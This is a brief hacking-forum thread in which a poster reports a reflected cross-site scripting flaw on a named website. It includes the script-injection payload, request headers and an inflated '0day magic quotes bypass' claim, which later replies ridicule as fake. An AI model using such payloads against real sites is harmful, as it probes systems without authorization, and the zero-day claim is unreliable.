

Forum:[Hack Forums](#)

Thread: [\[Cross-Side-Script\] http://pakistan-gov-biz-tk.comxa.com/](#)

Bob23 - February 3, 2014, 3:02 pm

Author : Pentest-Team of Hackyard Security Group

Reported: 04.feb.2014Today 00:17

Resolved Issue : ?.?.???? ??:??

Issue: Cross-site scripting (reflected)

Severity: Critical

Confidence: Certain

Oday bypass: This filter replace ' with \' and " with \" so HackYard Pentest Team found Oday in this php function known as "magicquotes" to make successful cross side scripting.

Host: <http://pakistan-gov-biz-tk.comxa.com>

Path: /bank.php?pro="><script>alert(/HackYard-Pentest-Team!/)</script>

Request in get parameter:

Host: pakistan-gov-biz-tk.comxa.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

POC :

[IMG]<http://goo.gl/v1VWK5>[IMG]

First mail delivered by "pakistanhackteam@legit.biz.tk".

Code This is an automatic response.

Referral was submitted pakistan technical department and you will be contacted as soon as possible by a system administrator. If you want to return the details of the complaints please keep the message the same subject, topic including ticket number associated.

*** Ticket ID: nwmn-3949-394983

*** Subject: [Cross-Side-Scripting] pakistan-gov-biz-tk.comxa.com/ REPORT

*** Department: Technical Dept.

*** Type: sensing technique

*** Status: Open

BeggFoMercy - February 3, 2014, 3:33 pm

What am I smelling , Cake ? no it's fake .

Some Skid - February 3, 2014, 5:31 pm

Oday -> alert(/string/) HAHAHA thank you dear sir, you made my day.